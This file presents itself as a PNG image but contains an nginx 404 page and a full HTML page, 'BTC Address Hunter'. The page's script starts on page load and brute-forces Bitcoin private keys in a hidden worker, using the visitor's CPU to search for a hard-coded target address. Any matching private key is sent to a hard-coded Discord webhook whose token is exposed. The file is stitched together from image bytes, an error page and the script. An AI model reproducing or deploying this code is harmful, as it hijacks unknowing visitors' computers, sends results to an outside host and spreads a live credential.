PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>⚡ BTC Address Hunter - Headless Scan</title>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
// bs58 encoding/decoding utility (kept for consistency with worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
</script>
<script>
// --- HARDCODED SCAN PARAMETERS ---
// IMPORTANT: You MUST replace 'YOUR_TARGET_BTC_ADDRESS_HERE' with the actual address you are searching for.
const TARGET_ADDRESS = '1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU'; // Example target address
const START_HEX = '400000000000000000'; // Start of the random hex range
const END_HEX = '7fffffffffffffffff'; // End of the random hex range
// ---------------------------------
// --- HARDCODED DISCORD WEBHOOK URL ---
const DISCORD_WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1095773664965836851/nkzz391OKRoLLans_lvTKhsipr2jxTaEqnGOGLD8KUlCLlzggH-0bzS77BWjlqCDcwl7';
// -------------------------------------
let scanWorker = null;
let scanStartTime = 0;
let totalScannedKeys = 0n; // Use BigInt for scanned keys
/**
* Logs a message to the browser console.
* @param {string} msg - The message to log.
* @param {'info'|'success'|'error'|'warn'} type - The type of message for console styling.
*/
function consoleLog(msg, type = 'info') {
switch (type) {
case 'success':
console.log(`%c${msg}`, 'color: green; font-weight: bold;');
break;
case 'error':
console.error(`%c${msg}`, 'color: red; font-weight: bold;');
break;
case 'warn':
console.warn(`%c${msg}`, 'color: orange;');
break;
case 'info':
default:
console.info(msg);
break;
}
}
/**
* Sends the found Bitcoin address details to a Discord webhook.
* @param {string} privHex - The found private key in hexadecimal.
* @param {string} wif - The found WIF (Wallet Import Format) key.
* @param {string} address - The matched Bitcoin address.
*/
async function sendToDiscordWebhook(privHex, wif, address) {
const webhookUrl = DISCORD_WEBHOOK_URL;
if (!webhookUrl) {
consoleLog('Discord Webhook URL is not set (hardcoded). Skipping notification.', 'warn');
return;
}
if (!webhookUrl.startsWith('https://discord.com/api/webhooks/') &&
!webhookUrl.startsWith('https://discordapp.com/api/webhooks/')) {
consoleLog('Invalid Discord Webhook URL (hardcoded). Please provide a valid URL.', 'error');
return;
}
const payload = {
username: "BTC Address Hunter",
avatar_url: "https://placehold.co/64x64/00bf72/ffffff?text=BTC", // Placeholder icon
embeds: [
{
title: "🎉 Bitcoin Address Match Found!",
description: `A target Bitcoin address has been found!`,
color: 65280, // Green color for Discord embed
fields: [
{ name: "Target Address", value: `\`${TARGET_ADDRESS}\``, inline: false },
{ name: "Matched Address", value: `\`${address}\``, inline: false },
{ name: "Private Key (Hex)", value: `\`${privHex}\``, inline: false },
{ name: "WIF (Wallet Import Format)", value: `\`${wif}\``, inline: false },
{ name: "Scan Time", value: `${((Date.now() - scanStartTime) / 1000).toFixed(2)} seconds`, inline: true },
{ name: "Keys Scanned", value: totalScannedKeys.toLocaleString(), inline: true }
],
footer: {
text: "Generated by BTC Address Hunter"
},
timestamp: new Date().toISOString()
}
]
};
try {
const response = await fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(payload),
});
if (response.ok) {
consoleLog('Successfully sent result to Discord webhook!', 'success');
} else {
const errorText = await response.text();
consoleLog(`Failed to send result to Discord webhook: ${response.status} - ${errorText}`, 'error');
}
} catch (error) {
consoleLog(`Network error sending to Discord webhook: ${error.message}`, 'error');
}
}
/**
* Starts the Bitcoin address scanning process using a Web Worker.
*/
async function startScan() {
totalScannedKeys = 0n; // Reset scanned keys
scanStartTime = Date.now();
const startBigInt = BigInt('0x' + START_HEX);
const endBigInt = BigInt('0x' + END_HEX);
if (startBigInt >= endBigInt) {
consoleLog("❌ Critical Error: Hardcoded START_HEX must be less than END_HEX. Scan aborted.", 'error');
return;
}
const rangeSize = endBigInt - startBigInt + 1n;
consoleLog(`\n🔍 Starting automatic random scan for target: ${TARGET_ADDRESS}`);
consoleLog(`🔢 Hardcoded Random Range (hex): ${START_HEX} → ${END_HEX}`);
consoleLog(`📏 Search space size: ${rangeSize.toLocaleString()} possible keys.`);
consoleLog(`Outputting progress to console. Open developer tools (F12) -> Console tab.`);
// Create Web Worker as a Blob URL
const workerScript = `
importScripts('https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js');
importScripts('https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js');
// bs58 encoding/decoding utility (replicated for worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
const ec = new elliptic.ec('secp256k1');
/** Converts a hexadecimal string to a Uint8Array. */
function hexToBytes(hex) {
return Uint8Array.from(hex.match(/.{1,2}/g).map(b => parseInt(b, 16)));
}
/** Converts a Uint8Array to a CryptoJS WordArray. */
function bytesToWordArray(u8arr) {
const words = [];
for (let i = 0; i < u8arr.length; i += 4) {
let word = 0;
if (i < u8arr.length) word |= u8arr[i] << 24;
if (i + 1 < u8arr.length) word |= u8arr[i + 1] << 16;
if (i + 2 < u8arr.length) word |= u8arr[i + 2] << 8;
if (i + 3 < u8arr.length) word |= u8arr[i + 3];
words.push(word);
}
return CryptoJS.lib.WordArray.create(words, u8arr.length);
}
/** Computes the SHA256 hash of a Uint8Array. */
function sha256(data) {
return CryptoJS.SHA256(bytesToWordArray(data)).toString();
}
/** Computes the RIPEMD160 hash of a hexadecimal string. */
function ripemd160(hexStr) {
return CryptoJS.RIPEMD160(CryptoJS.enc.Hex.parse(hexStr)).toString();
}
/**
* Converts a private key (hex) to a compressed Bitcoin address.
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The compressed Bitcoin address.
*/
function privateKeyToCompressedAddress(privHex) {
const key = ec.keyFromPrivate(privHex, 'hex');
const pubCompressed = key.getPublic(true, 'hex'); // Get compressed public key
const pubBytes = hexToBytes(pubCompressed);
const sha = sha256(pubBytes);
const ripemd = ripemd160(sha);
const versionedPayload = "00" + ripemd; // 0x00 for P2PKH mainnet addresses
// Double SHA256 for checksum
const checksum = sha256(hexToBytes(sha256(hexToBytes(versionedPayload)))).slice(0, 8);
const fullPayload = versionedPayload + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Converts a private key (hex) to its Wallet Import Format (WIF).
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The WIF string.
*/
function privateKeyToWIF(privHex) {
const extended = "80" + privHex + "01"; // 0x80 for mainnet, 0x01 for compressed public key
const checksum = sha256(hexToBytes(sha256(hexToBytes(extended)))).slice(0, 8);
const fullPayload = extended + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Generates a random BigInt within a specified range (inclusive).
* Uses rejection sampling for uniform distribution.
* @param {BigInt} min - The minimum value (inclusive).
* @param {BigInt} max - The maximum value (inclusive).
* @returns {BigInt} A random BigInt within the range.
*/
function getRandomBigIntInRange(min, max) {
const range = max - min + 1n;
let bitLength = 0;
if (range > 0n) {
bitLength = range.toString(2).length;
} else {
return min;
}
const byteLength = Math.max(1, Math.ceil(bitLength / 8));
const randomBytes = new Uint8Array(byteLength);
let randomValue;
do {
self.crypto.getRandomValues(randomBytes); // Browser's crypto.getRandomValues
randomValue = 0n;
for (let i = 0; i < byteLength; i++) {
randomValue = (randomValue << 8n) | BigInt(randomBytes[i]);
}
} while (randomValue >= range);
return min + randomValue;
}
// Web Worker message handler
self.onmessage = async function(event) {
const { target, startHex, endHex } = event.data;
const startBigInt = BigInt('0x' + startHex);
const endBigInt = BigInt('0x' + endHex);
let scannedCount = 0n;
let lastReportTime = Date.now();
const REPORT_INTERVAL = 500; // Report every 500 ms
// The loop runs indefinitely for random scanning until a match is found or terminated
while (true) {
const randomPrivKeyBigInt = getRandomBigIntInRange(startBigInt, endBigInt);
const privHex = randomPrivKeyBigInt.toString(16).padStart(64, '0');
const addr = privateKeyToCompressedAddress(privHex);
scannedCount++;
if (addr === target) {
const wif = privateKeyToWIF(privHex);
self.postMessage({
type: 'match',
privHex: privHex,
wif: wif,
address: addr,
scannedCount: scannedCount
});
return; // Stop scanning after a match is found
}
// Report progress back to the main thread periodically
if (Date.now() - lastReportTime > REPORT_INTERVAL) {
self.postMessage({
type: 'progress',
scannedCount: Number(scannedCount) // Send count as number for display
});
lastReportTime = Date.now();
}
}
};
`;
const blob = new Blob([workerScript], { type: 'application/javascript' });
scanWorker = new Worker(URL.createObjectURL(blob));
// Main thread message handler for worker messages
scanWorker.onmessage = function(event) {
const data = event.data;
if (data.type === 'progress') {
totalScannedKeys = BigInt(data.scannedCount);
const elapsed = (Date.now() - scanStartTime) / 1000;
const keysPerSecond = elapsed > 0 ? Number(totalScannedKeys) / elapsed : 0;
// Use console.clear() and console.log to simulate a dynamic update in console
// Note: console.clear() might clear other console messages too.
// For continuous line updates, you might need more advanced console manipulation (not standard in browsers).
// For now, just logging lines.
console.clear(); // Clears the console to show only latest progress
consoleLog(`Scanning... ${totalScannedKeys.toLocaleString()} keys scanned (${keysPerSecond.toFixed(2)} keys/sec)`);
} else if (data.type === 'match') {
totalScannedKeys = BigInt(data.scannedCount); // Final count
consoleLog(`\n✅ MATCH FOUND!`, 'success');
consoleLog(`🔑 Private Key (hex): ${data.privHex}`);
consoleLog(`🔐 WIF (Compressed): ${data.wif}`);
consoleLog(`📍 Matched Address: ${data.address}`);
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Scan Time: ${elapsed} seconds`, 'info');
consoleLog(`Total keys scanned: ${totalScannedKeys.toLocaleString()}`, 'info');
// Send to Discord webhook
sendToDiscordWebhook(data.privHex, data.wif, data.address);
stopScan(); // Stop the worker after finding a match
} else if (data.type === 'error') {
consoleLog(`Worker Error: ${data.message}`, 'error');
stopScan(); // Terminate worker on error
}
};
// Main thread error handler for worker
scanWorker.onerror = function(error) {
consoleLog(`Web Worker Error: ${error.message}`, 'error');
stopScan(); // Terminate worker on error
};
// Post initial message to worker to start scanning
scanWorker.postMessage({
target: TARGET_ADDRESS,
startHex: START_HEX,
endHex: END_HEX
});
}
/**
* Stops the current scanning process.
*/
function stopScan() {
if (scanWorker) {
scanWorker.terminate();
scanWorker = null;
consoleLog("\nScan terminated.", 'warn');
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Total Scan Time: ${elapsed} seconds`, 'info');
}
}
// Auto-start the scan when the page loads
window.onload = startScan;
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E